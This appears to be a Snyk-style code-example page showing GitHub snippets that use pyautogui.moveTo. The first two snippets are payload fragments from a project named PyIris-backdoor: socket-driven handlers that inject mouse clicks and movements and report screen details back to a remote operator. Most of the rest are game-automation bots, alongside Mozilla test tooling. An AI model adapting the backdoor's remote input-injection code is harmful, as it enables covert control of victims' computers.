How to use the pyautogui.moveTo function in PyAutoGUI

To help you get started, we’ve selected a few PyAutoGUI examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github angus-y / PyIris-backdoor / payloads / lin_injection_payload.py View on Github external
s.sendall(tar_list + End)
        elif injection_type == 'click_left':
            pyautogui.click(button='left')
            s.sendall('[+]Injected left mouse click' + End)
        elif injection_type == 'click_right':
            pyautogui.click(button='right')
            s.sendall('[+]Injected right mouse click' + End)
        elif injection_type == 'move_to':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            try:
                arg = arg.split(' ')
                cord_one = int(arg[0])
                cord_two = int(arg[1])
                pyautogui.moveTo(x=cord_one, y=cord_two)
                s.sendall('[+]Injected mouse movement' + End)
            except:
                s.sendall('[-]Input X and Y coordinates as integers' + End)
                return
        elif injection_type == 'dimensions':
            dimensions = pyautogui.size()
            dimensions = '[+]Dimensions of screen : ' + str(dimensions[0]) + ' x ' + str(dimensions[1])
            s.sendall(dimensions + End)
        elif injection_type == 'position':
            current = pyautogui.position()
            current = '[+]Current mouse position : ' + str(current[0]) + ' x ' + str(current[1])
            s.sendall(current + End)
        else:
            s.sendall('[-]Unknown command "' + injection_type + '", run "help" for help menu' + End)
    except Exception as e:
        s.sendall('[-]Error injecting keystrokes : ' + str(e))
github angus-y / PyIris-backdoor / payloads / win_injection_payload.py View on Github external
s.sendall('[+]Injected cliboard data' + End)
        elif injection_type == 'click_left':
            pyautogui.click(button='left')
            s.sendall('[+]Injected left mouse click' + End)
        elif injection_type == 'click_right':
            pyautogui.click(button='right')
            s.sendall('[+]Injected right mouse click' + End)
        elif injection_type == 'move_to':
            if not arg:
                s.sendall('[-]Supply a coord as an arg'+End)
                return
            try:
                arg = arg.split(' ')
                cord_one = int(arg[0])
                cord_two = int(arg[1])
                pyautogui.moveTo(x=cord_one, y=cord_two)
                s.sendall('[+]Injected mouse movement' + End)
            except:
                s.sendall('[-]Input X and Y coordinates as integers' + End)
                return
        elif injection_type == 'dimensions':
            dimensions = pyautogui.size()
            dimensions = '[+]Dimensions of screen : ' + str(dimensions[0]) + ' x ' + str(dimensions[1])
            s.sendall(dimensions + End)
        elif injection_type == 'position':
            current = pyautogui.position()
            current = '[+]Current mouse position : ' + str(current[0]) + ' x ' + str(current[1])
            s.sendall(current + End)
        else:
            s.sendall('[-]Unknown command "' + injection_type + '", run "help" for help menu' + End)
    except Exception as e:
        s.sendall('[-]Error injecting keystrokes : ' + str(e))
github sunnyswag / hearthstone_script- / hearthstone_auto.py View on Github external
def atack(fromx, fromy):
    mouse_click(fromx, fromy)
    pymouse.moveTo(960, 800, duration=0.3)
    enemy_sneer = detect_sneer()
    if len(enemy_sneer):  # 检测到嘲讽怪
        mouse_click(490 + enemy_sneer[0], 360)
        time.sleep(1)
    else:
        mouse_click(960, 210)
        time.sleep(1)
github mozilla / iris_firefox / iris / api / core.py View on Github external
"""

    # move focus in the middle of the page to be able to use the scroll
    pyautogui.moveTo(SCREEN_WIDTH / 4, SCREEN_HEIGHT / 2)
    for i in range(nr_of_times):
        if Settings.getOS() == Platform.MAC:
            pyautogui.keyDown('command')
        else:
            pyautogui.keyDown('ctrl')
        pyautogui.scroll(zoom_type)
        if Settings.getOS() == Platform.MAC:
            pyautogui.keyUp('command')
        else:
            pyautogui.keyUp('ctrl')
        time.sleep(0.5)
    pyautogui.moveTo(0, 0)
github YoongiKim / Rider-PPO / RiderEnvironment / environment.py View on Github external
def reset(self):
        print('env reset')
        show_window.ShowWindow()
        pyautogui.moveTo(155, 350)

        self.LastScore = 0
        self.LastAction = 0
        self.same_score_count = 0

        self.frame_mixer.clear()

        self.close_advertise_window()

        self.click()

        time.sleep(1.5)

        self.click()

        observation = np.zeros(shape=(self.obs_h, self.obs_w), dtype=np.uint8)
github Johk3 / Rotmg-Bot / trader.py View on Github external
mouseY = 460
                    weight = 100
                    loopty = value[0]
                    if loopty > zecounter:
                        loopamount = loopty
                    else:
                        loopamount = zecounter
                    try:
                        potionion = potions[potionz]
                        i = 0
                        for potion in potionion:
                            if i == loopamount:
                                break
                            tradeX = mouseX + potion[0]
                            tradeY = mouseY + potion[1]
                            pyautogui.moveTo(tradeX, tradeY)
                            pyautogui.dragTo(mouseX - found_spots["empty"][i][0], mouseY - found_spots["empty"][i][1], 2)
                            i += 1
                            maxmove -= 1
                            localint += 1
                    except Exception as e:
                        print(e)
                        localint == len(potionzee)
                        break
            nects = True

            if localint == len(potionzee):
                localcheck = False
                break
            totalxy += 1
            if totalxy == 38:
                print("No space was found for potions...")
github Johk3 / Rotmg-Bot / trader.py View on Github external
def selectpotion(potions, potionz, loopamount=8):
    mouseX = 1161
    mouseY = 460
    weight = 100
    try:
        potionion = potions[potionz]
        i = 0
        for potion in potionion:
            if i == loopamount:
                return True
            tradeX = mouseX + potion[0]
            tradeY = mouseY + potion[1]
            pyautogui.moveTo(tradeX, tradeY, 0.2)
            pyautogui.moveTo(tradeX, tradeY - weight, 0.2)
            pyautogui.click(tradeX, tradeY - weight)
            i += 1
        if i >= 1:
            return True
    except Exception as e:
        return False
github johanahlqvist / poe-timeless-jewel-multitool / bot / input_handler.py View on Github external
def click(self, x_top,  y_top, x_bot, y_bot, button='left', speed_factor=3, raw=False):
        if not raw:
            x_top *= self.res_w
            x_bot *= self.res_w
            y_top *= self.res_h
            y_bot *= self.res_h

        x = x_top + random() * (x_bot - x_top)
        y = y_top + random() * (x_bot - x_top)
        pyautogui.moveTo(x, y, self._rnd(min=100 / speed_factor,
                                         mean=150 / speed_factor,
                                         sigma=100 / speed_factor) / 1000,
                         pyautogui.easeOutQuad)
        self._hw_move(x, y)
        if button is not None:
            self.rnd_sleep(mean=self.config['mouse_click_interval'] / speed_factor)
            pyautogui.click(x=None, y=None, button=button)
github mozilla / iris_firefox / iris / api / core.py View on Github external
def dragDrop(drag_from, drop_to, duration=None):
    """Mouse drag and drop

    :param drag_from: Starting point for drag and drop. Can be pattern, string or location
    :param drop_to: Ending point for drag and drop. Can be pattern, string or location
    :param duration: speed of drag and drop
    :return: None
    """

    if duration is None:
        duration = Settings.MoveMouseDelay

    from_location = _to_location(ps=drag_from, align='center')
    to_location = _to_location(ps=drop_to, align='center')
    pyautogui.moveTo(from_location.x, from_location.y, 0)

    time.sleep(Settings.DelayBeforeMouseDown)
    pyautogui.mouseDown(button='left', _pause=False)

    time.sleep(Settings.DelayBeforeDrag)
    pyautogui._mouseMoveDrag('drag', to_location.x, to_location.y, 0, 0, duration, pyautogui.linear, 'left')

    time.sleep(Settings.DelayBeforeDrop)
    pyautogui.mouseUp(button='left', _pause=False)
github YECHEZ / wow-fish-bot / fishing.py View on Github external
dM01 = moments['m01']
                dM10 = moments['m10']
                dArea = moments['m00']

                b_x = 0
                b_y = 0

                if dArea > 0:
                    b_x = int(dM10 / dArea)
                    b_y = int(dM01 / dArea)
                if lastx > 0 and lasty > 0:
                    if lastx != b_x and lasty != b_y:
                        is_block = False
                        if b_x < 1: b_x = lastx
                        if b_y < 1: b_y = lasty
                        pyautogui.moveTo(b_x, b_y+fish_area[1], 0.3)
                        pyautogui.keyDown("shiftleft")
                        pyautogui.mouseDown(button='right')
                        pyautogui.mouseUp(button='right')
                        pyautogui.keyUp("shiftleft")
                        print("Catch !")
                        time.sleep(5)
                lastx = b_x
                lasty = b_y

                #cv2.imshow("fish_mask", mask)
                #cv2.imshow("fish_frame", frame)
                
                if time.time() - new_cast_time > 40:
                    print("New cast if something wrong")
                    is_block = False